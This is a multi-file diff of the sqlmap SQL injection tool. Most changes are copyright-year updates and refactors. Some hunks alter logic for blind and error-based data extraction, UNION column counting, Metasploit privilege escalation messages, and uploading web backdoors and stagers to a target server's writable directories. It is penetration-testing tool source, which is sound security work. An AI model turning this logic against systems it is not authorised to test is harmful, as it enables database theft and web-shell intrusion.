Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+22 -8
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -18,11 +18,13 @@ from lib.core.common import extractErrorMessage
from lib.core.common import extractRegexResult
from lib.core.common import getPublicTypeMembers
from lib.core.common import getUnicode
from lib.core.common import isListLike
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.common import resetCookieJar
from lib.core.common import singleTimeLogMessage
from lib.core.common import singleTimeWarnMessage
from lib.core.common import unArrayizeValue
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
@@ -150,6 +152,9 @@ def checkCharEncoding(encoding, warn=True):
'utf8'
"""
if isListLike(encoding):
encoding = unArrayizeValue(encoding)
if encoding:
encoding = encoding.lower()
else:
@@ -213,7 +218,7 @@ def checkCharEncoding(encoding, warn=True):
try:
codecs.lookup(encoding.encode(UNICODE_ENCODING) if isinstance(encoding, unicode) else encoding)
except (LookupError, ValueError):
if warn:
if warn and ' ' not in encoding:
warnMsg = "unknown web page charset '%s'. " % encoding
warnMsg += "Please report by e-mail to '%s'" % DEV_EMAIL_ADDRESS
singleTimeLogMessage(warnMsg, logging.WARN, encoding)
@@ -254,12 +259,22 @@ def decodePage(page, contentEncoding, contentType):
if not page or (conf.nullConnection and len(page) < 2):
return getUnicode(page)
if isinstance(contentEncoding, basestring) and contentEncoding.lower() in ("gzip", "x-gzip", "deflate"):
if isinstance(contentEncoding, basestring) and contentEncoding:
contentEncoding = contentEncoding.lower()
else:
contentEncoding = ""
if isinstance(contentType, basestring) and contentType:
contentType = contentType.lower()
else:
contentType = ""
if contentEncoding in ("gzip", "x-gzip", "deflate"):
if not kb.pageCompress:
return None
try:
if contentEncoding.lower() == "deflate":
if contentEncoding == "deflate":
data = StringIO.StringIO(zlib.decompress(page, -15)) # Reference: http://stackoverflow.com/questions/1089662/python-inflate-and-deflate-implementations
else:
data = gzip.GzipFile("", "rb", 9, StringIO.StringIO(page))
@@ -284,13 +299,12 @@ def decodePage(page, contentEncoding, contentType):
httpCharset, metaCharset = None, None
# Reference: http://stackoverflow.com/questions/1020892/python-urllib2-read-to-unicode
if contentType and (contentType.find("charset=") != -1):
if contentType.find("charset=") != -1:
httpCharset = checkCharEncoding(contentType.split("charset=")[-1])
metaCharset = checkCharEncoding(extractRegexResult(META_CHARSET_REGEX, page))
if (any((httpCharset, metaCharset)) and not all((httpCharset, metaCharset)))\
or (httpCharset == metaCharset and all((httpCharset, metaCharset))):
if (any((httpCharset, metaCharset)) and not all((httpCharset, metaCharset))) or (httpCharset == metaCharset and all((httpCharset, metaCharset))):
kb.pageEncoding = httpCharset or metaCharset # Reference: http://bytes.com/topic/html-css/answers/154758-http-equiv-vs-true-header-has-precedence
debugMsg = "declared web page charset '%s'" % kb.pageEncoding
singleTimeLogMessage(debugMsg, logging.DEBUG, debugMsg)
@@ -300,7 +314,7 @@ def decodePage(page, contentEncoding, contentType):
kb.pageEncoding = conf.encoding
# can't do for all responses because we need to support binary files too
if contentType and not isinstance(page, unicode) and "text/" in contentType.lower():
if not isinstance(page, unicode) and "text/" in contentType:
if kb.heuristicMode:
kb.pageEncoding = kb.pageEncoding or checkCharEncoding(getHeuristicCharEncoding(page))
page = getUnicode(page, kb.pageEncoding)
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+15 -10
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -49,7 +49,7 @@ def _comparison(page, headers, code, getRatioValue, pageLength):
threadData = getCurrentThreadData()
if kb.testMode:
threadData.lastComparisonHeaders = listToStrValue([_ for _ in headers.headers if not _.startswith("%s:" % URI_HTTP_HEADER)]) if headers else ""
threadData.lastComparisonHeaders = listToStrValue(_ for _ in headers.headers if not _.startswith("%s:" % URI_HTTP_HEADER)) if headers else ""
threadData.lastComparisonPage = page
threadData.lastComparisonCode = code
@@ -57,7 +57,7 @@ def _comparison(page, headers, code, getRatioValue, pageLength):
return None
if any((conf.string, conf.notString, conf.regexp)):
rawResponse = "%s%s" % (listToStrValue([_ for _ in headers.headers if not _.startswith("%s:" % URI_HTTP_HEADER)]) if headers else "", page)
rawResponse = "%s%s" % (listToStrValue(_ for _ in headers.headers if not _.startswith("%s:" % URI_HTTP_HEADER)) if headers else "", page)
# String to match in page when the query is True and/or valid
if conf.string:
@@ -106,16 +106,21 @@ def _comparison(page, headers, code, getRatioValue, pageLength):
# Preventing "Unicode equal comparison failed to convert both arguments to Unicode"
# (e.g. if one page is PDF and the other is HTML)
if isinstance(seqMatcher.a, str) and isinstance(page, unicode):
page = page.encode(kb.pageEncoding or DEFAULT_PAGE_ENCODING, 'ignore')
page = page.encode(kb.pageEncoding or DEFAULT_PAGE_ENCODING, "ignore")
elif isinstance(seqMatcher.a, unicode) and isinstance(page, str):
seqMatcher.a = seqMatcher.a.encode(kb.pageEncoding or DEFAULT_PAGE_ENCODING, 'ignore')
seqMatcher.a = seqMatcher.a.encode(kb.pageEncoding or DEFAULT_PAGE_ENCODING, "ignore")
if seqMatcher.a and page and seqMatcher.a == page:
ratio = 1
if any(_ is None for _ in (page, seqMatcher.a)):
return None
elif seqMatcher.a and page and seqMatcher.a == page:
ratio = 1.
elif kb.skipSeqMatcher or seqMatcher.a and page and any(len(_) > MAX_DIFFLIB_SEQUENCE_LENGTH for _ in (seqMatcher.a, page)):
ratio = 1.0 * len(seqMatcher.a) / len(page)
if ratio > 1:
ratio = 1. / ratio
if not page or not seqMatcher.a:
return float(seqMatcher.a == page)
else:
ratio = 1. * len(seqMatcher.a) / len(page)
if ratio > 1:
ratio = 1. / ratio
else:
seq1, seq2 = None, None
+11 -9
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -479,8 +479,7 @@ class Connect(object):
# Get HTTP response
if hasattr(conn, "redurl"):
page = (threadData.lastRedirectMsg[1] if kb.redirectChoice == REDIRECTION.NO\
else Connect._connReadProxy(conn)) if not skipRead else None
page = (threadData.lastRedirectMsg[1] if kb.redirectChoice == REDIRECTION.NO else Connect._connReadProxy(conn)) if not skipRead else None
skipLogTraffic = kb.redirectChoice == REDIRECTION.NO
code = conn.redcode
else:
@@ -796,6 +795,8 @@ class Connect(object):
raise404 = place != PLACE.URI if raise404 is None else raise404
method = method or conf.method
postUrlEncode = kb.postUrlEncode
value = agent.adjustLateValues(value)
payload = agent.extractPayload(value)
threadData = getCurrentThreadData()
@@ -804,8 +805,8 @@ class Connect(object):
headers = OrderedDict(conf.httpHeaders)
contentType = max(headers[_] if _.upper() == HTTP_HEADER.CONTENT_TYPE.upper() else None for _ in headers.keys())
if (kb.postHint or conf.skipUrlEncode) and kb.postUrlEncode:
kb.postUrlEncode = False
if (kb.postHint or conf.skipUrlEncode) and postUrlEncode:
postUrlEncode = False
conf.httpHeaders = [_ for _ in conf.httpHeaders if _[1] != contentType]
contentType = POST_HINT_CONTENT_TYPES.get(kb.postHint, PLAIN_TEXT_CONTENT_TYPE)
conf.httpHeaders.append((HTTP_HEADER.CONTENT_TYPE, contentType))
@@ -849,7 +850,7 @@ class Connect(object):
value = agent.replacePayload(value, payload)
else:
# GET, POST, URI and Cookie payload needs to be thoroughly URL encoded
if (place in (PLACE.GET, PLACE.URI, PLACE.COOKIE) or place == PLACE.CUSTOM_HEADER and value.split(',')[0] == HTTP_HEADER.COOKIE) and not conf.skipUrlEncode or place in (PLACE.POST, PLACE.CUSTOM_POST) and kb.postUrlEncode:
if (place in (PLACE.GET, PLACE.URI, PLACE.COOKIE) or place == PLACE.CUSTOM_HEADER and value.split(',')[0] == HTTP_HEADER.COOKIE) and not conf.skipUrlEncode or place in (PLACE.POST, PLACE.CUSTOM_POST) and postUrlEncode:
skip = False
if place == PLACE.COOKIE or place == PLACE.CUSTOM_HEADER and value.split(',')[0] == HTTP_HEADER.COOKIE:
@@ -862,6 +863,7 @@ class Connect(object):
if not skip:
payload = urlencode(payload, '%', False, place != PLACE.URI) # spaceplus is handled down below
value = agent.replacePayload(value, payload)
postUrlEncode = False
if conf.hpp:
if not any(conf.url.lower().endswith(_.lower()) for _ in (WEB_API.ASP, WEB_API.ASPX)):
@@ -1129,7 +1131,7 @@ class Connect(object):
found = True
uri = re.sub(regex.replace(r"\A", r"\?"), "\g<1>%s\g<3>" % value.replace('\\', r'\\'), uri)
regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER), name, re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER))
regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER), re.escape(name), re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER))
if re.search(regex, (cookie or "")):
found = True
cookie = re.sub(regex, "\g<1>%s\g<3>" % value.replace('\\', r'\\'), cookie)
@@ -1148,7 +1150,7 @@ class Connect(object):
if post is not None:
if place not in (PLACE.POST, PLACE.CUSTOM_POST) and hasattr(post, UNENCODED_ORIGINAL_VALUE):
post = getattr(post, UNENCODED_ORIGINAL_VALUE)
elif kb.postUrlEncode:
elif postUrlEncode:
post = urlencode(post, spaceplus=kb.postSpaceToPlus)
if timeBasedCompare and not conf.disableStats:
@@ -1159,7 +1161,7 @@ class Connect(object):
if conf.tor:
warnMsg = "it's highly recommended to avoid usage of switch '--tor' for "
warnMsg += "time-based injections because of its high latency time"
warnMsg += "time-based injections because of inherent high latency time"
singleTimeWarnMessage(warnMsg)
warnMsg = "[%s] [WARNING] %stime-based comparison requires " % (time.strftime("%X"), "(case) " if kb.responseTimeMode else "")
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+11 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -46,6 +46,7 @@ from lib.core.settings import GET_VALUE_UPPERCASE_KEYWORDS
from lib.core.settings import INFERENCE_MARKER
from lib.core.settings import MAX_TECHNIQUES_PER_VALUE
from lib.core.settings import SQL_SCALAR_REGEX
from lib.core.settings import UNICODE_ENCODING
from lib.core.threads import getCurrentThreadData
from lib.request.connect import Connect as Request
from lib.request.direct import direct
@@ -471,6 +472,15 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
warnMsg += "or switch '--hex'" if Backend.getIdentifiedDbms() not in (DBMS.ACCESS, DBMS.FIREBIRD) else ""
singleTimeWarnMessage(warnMsg)
# Dirty patch (safe-encoded unicode characters)
if isinstance(value, unicode) and "\\x" in value:
try:
candidate = eval(repr(value).replace("\\\\x", "\\x").replace("u'", "'", 1)).decode(conf.encoding or UNICODE_ENCODING)
if "\\x" not in candidate:
value = candidate
except:
pass
return extractExpectedValue(value, expected)
def goStacked(expression, silent=False):
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+2 -2
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -501,7 +501,7 @@ class Metasploit:
send_all(proc, "getsystem\n")
infoMsg = "displaying the list of Access Tokens availables. "
infoMsg = "displaying the list of available Access Tokens. "
infoMsg += "Choose which user you want to impersonate by "
infoMsg += "using incognito's command 'impersonate_token' if "
infoMsg += "'getsystem' does not success to elevate privileges"
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+10 -7
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -47,6 +47,8 @@ from lib.core.enums import WEB_API
from lib.core.exception import SqlmapNoneDataException
from lib.core.settings import BACKDOOR_RUN_CMD_TIMEOUT
from lib.core.settings import EVENTVALIDATION_REGEX
from lib.core.settings import SHELL_RUNCMD_EXE_TAG
from lib.core.settings import SHELL_WRITABLE_DIR_TAG
from lib.core.settings import VIEWSTATE_REGEX
from lib.request.connect import Connect as Request
from thirdparty.oset.pyoset import oset
@@ -134,7 +136,7 @@ class Web:
def _webFileInject(self, fileContent, fileName, directory):
outFile = posixpath.join(ntToPosixSlashes(directory), fileName)
uplQuery = getUnicode(fileContent).replace("WRITABLE_DIR", directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)
uplQuery = getUnicode(fileContent).replace(SHELL_WRITABLE_DIR_TAG, directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)
query = ""
if isTechniqueAvailable(kb.technique):
@@ -257,6 +259,7 @@ class Web:
directories = list(oset(directories))
path = urlparse.urlparse(conf.url).path or '/'
path = re.sub(r"/[^/]*\.\w+\Z", '/', path)
if path != '/':
_ = []
for directory in directories:
@@ -266,9 +269,9 @@ class Web:
directories = _
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi))
backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors", "backdoor.%s_" % self.webApi))
stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webApi))
for directory in directories:
if not directory:
@@ -323,8 +326,8 @@ class Web:
os.close(handle)
with open(filename, "w+b") as f:
_ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
_ = _.replace("WRITABLE_DIR", utf8encode(directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory))
_ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webApi))
_ = _.replace(SHELL_WRITABLE_DIR_TAG, utf8encode(directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory))
f.write(_)
self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True)
@@ -369,7 +372,7 @@ class Web:
continue
_ = "tmpe%s.exe" % randomStr(lowercase=True)
if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", _)):
if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace(SHELL_WRITABLE_DIR_TAG, backdoorDirectory).replace(SHELL_RUNCMD_EXE_TAG, _)):
self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_EXTRAS_PATH, "runcmd", "runcmd.exe_"))
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)
self.webDirectory = backdoorDirectory
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+17 -20
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -110,7 +110,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
if partialValue:
firstChar = len(partialValue)
elif "LENGTH(" in expression.upper() or "LEN(" in expression.upper():
elif re.search(r"(?i)\b(LENGTH|LEN)\(", expression):
firstChar = 0
elif (kb.fileReadMode or dump) and conf.firstChar is not None and (isinstance(conf.firstChar, int) or (isinstance(conf.firstChar, basestring) and conf.firstChar.isdigit())):
firstChar = int(conf.firstChar) - 1
@@ -121,7 +121,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
else:
firstChar = 0
if "LENGTH(" in expression.upper() or "LEN(" in expression.upper():
if re.search(r"(?i)\b(LENGTH|LEN)\(", expression):
lastChar = 0
elif dump and conf.lastChar is not None and (isinstance(conf.lastChar, int) or (isinstance(conf.lastChar, basestring) and conf.lastChar.isdigit())):
lastChar = int(conf.lastChar)
@@ -223,7 +223,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
result = not Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
if result and timeBasedCompare:
if result and timeBasedCompare and kb.injection.data[kb.technique].trueCode:
result = threadData.lastCode == kb.injection.data[kb.technique].trueCode
if not result:
warnMsg = "detected HTTP code '%s' in validation phase is differing from expected '%s'" % (threadData.lastCode, kb.injection.data[kb.technique].trueCode)
@@ -343,7 +343,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
if result:
minValue = posValue
if type(charTbl) != xrange:
if not isinstance(charTbl, xrange):
charTbl = charTbl[position:]
else:
# xrange() - extended virtual charset used for memory/space optimization
@@ -351,7 +351,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
else:
maxValue = posValue
if type(charTbl) != xrange:
if not isinstance(charTbl, xrange):
charTbl = charTbl[:position]
else:
charTbl = xrange(charTbl[0], charTbl[position])
@@ -390,7 +390,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
if timeBasedCompare:
if kb.adjustTimeDelay is not ADJUST_TIME_DELAY.DISABLE:
conf.timeSec += 1
warnMsg = "increasing time delay to %d second%s " % (conf.timeSec, 's' if conf.timeSec > 1 else '')
warnMsg = "increasing time delay to %d second%s" % (conf.timeSec, 's' if conf.timeSec > 1 else '')
logger.warn(warnMsg)
if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES:
@@ -461,18 +461,15 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
threadData = getCurrentThreadData()
while kb.threadContinue:
kb.locks.index.acquire()
with kb.locks.index:
if threadData.shared.index[0] - firstChar >= length:
return
if threadData.shared.index[0] - firstChar >= length:
kb.locks.index.release()
return
threadData.shared.index[0] += 1
currentCharIndex = threadData.shared.index[0]
kb.locks.index.release()
threadData.shared.index[0] += 1
currentCharIndex = threadData.shared.index[0]
if kb.threadContinue:
charStart = time.time()
start = time.time()
val = getChar(currentCharIndex, asciiTbl, not(charsetType is None and conf.charset))
if val is None:
val = INFERENCE_UNKNOWN_CHAR
@@ -485,7 +482,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
if kb.threadContinue:
if showEta:
progress.progress(time.time() - charStart, threadData.shared.index[0])
progress.progress(calculateDeltaSeconds(start), threadData.shared.index[0])
elif conf.verbose >= 1:
startCharIndex = 0
endCharIndex = 0
@@ -553,7 +550,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
while True:
index += 1
charStart = time.time()
start = time.time()
# Common prediction feature (a.k.a. "good samaritan")
# NOTE: to be used only when multi-threading is not set for
@@ -578,7 +575,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
# Did we have luck?
if result:
if showEta:
progress.progress(time.time() - charStart, len(commonValue))
progress.progress(calculateDeltaSeconds(start), len(commonValue))
elif conf.verbose in (1, 2) or conf.api:
dataToStdout(filterControlChars(commonValue[index - 1:]))
@@ -628,7 +625,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
threadData.shared.value = partialValue = partialValue + val
if showEta:
progress.progress(time.time() - charStart, index)
progress.progress(calculateDeltaSeconds(start), index)
elif conf.verbose in (1, 2) or conf.api:
dataToStdout(filterControlChars(val))
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+8 -5
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -76,7 +76,10 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
current = MAX_ERROR_CHUNK_LENGTH
while current >= MIN_ERROR_CHUNK_LENGTH:
testChar = str(current % 10)
testQuery = "SELECT %s('%s',%d)" % ("REPEAT" if Backend.isDbms(DBMS.MYSQL) else "REPLICATE", testChar, current)
testQuery = "%s('%s',%d)" % ("REPEAT" if Backend.isDbms(DBMS.MYSQL) else "REPLICATE", testChar, current)
testQuery = "SELECT %s" % (agent.hexConvertField(testQuery) if conf.hexConvert else testQuery)
result = unArrayizeValue(_oneShotErrorUse(testQuery, chunkTest=True))
if (result or "").startswith(testChar):
@@ -133,7 +136,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
output = reduce(lambda x, y: x if x is not None else y, (\
extractRegexResult(check, page), \
extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None), \
extractRegexResult(check, listToStrValue([headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()] if headers else None)), \
extractRegexResult(check, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)), \
extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)), \
None)
@@ -142,7 +145,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
else:
trimmed = extractRegexResult(trimcheck, page) \
or extractRegexResult(trimcheck, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None) \
or extractRegexResult(trimcheck, listToStrValue([headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()] if headers else None)) \
or extractRegexResult(trimcheck, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)) \
or extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)
if trimmed:
@@ -330,7 +333,7 @@ def errorUse(expression, dump=False):
else:
stopLimit = int(count)
infoMsg = "the SQL query used returns "
infoMsg = "used SQL query returns "
infoMsg += "%d entries" % stopLimit
logger.info(infoMsg)
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+15 -19
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -48,7 +48,7 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
"""
retVal = None
def _orderByTechnique():
def _orderByTechnique(lowerCount, upperCount):
def _orderByTest(cols):
query = agent.prefixQuery("ORDER BY %d" % cols, prefix=prefix)
query = agent.suffixQuery(query, suffix=suffix, comment=comment)
@@ -56,7 +56,7 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False)
return not any(re.search(_, page or "", re.I) and not re.search(_, kb.pageTemplate or "", re.I) for _ in ("(warning|error):", "order by", "unknown column", "failed")) and comparison(page, headers, code) or re.search(r"data types cannot be compared or sorted", page or "", re.I)
if _orderByTest(1) and not _orderByTest(randomInt()):
if _orderByTest(1 if lowerCount is None else lowerCount) and not _orderByTest(randomInt() if upperCount is None else upperCount + 1):
infoMsg = "'ORDER BY' technique appears to be usable. "
infoMsg += "This should reduce the time needed "
infoMsg += "to find the right number "
@@ -64,10 +64,10 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
infoMsg += "range for current UNION query injection technique test"
singleTimeLogMessage(infoMsg)
lowCols, highCols = 1, ORDER_BY_STEP
lowCols, highCols = 1 if lowerCount is None else lowerCount, ORDER_BY_STEP if upperCount is None else upperCount
found = None
while not found:
if _orderByTest(highCols):
if not conf.uCols and _orderByTest(highCols):
lowCols = highCols
highCols += ORDER_BY_STEP
else:
@@ -88,8 +88,8 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
kb.errorIsNone = False
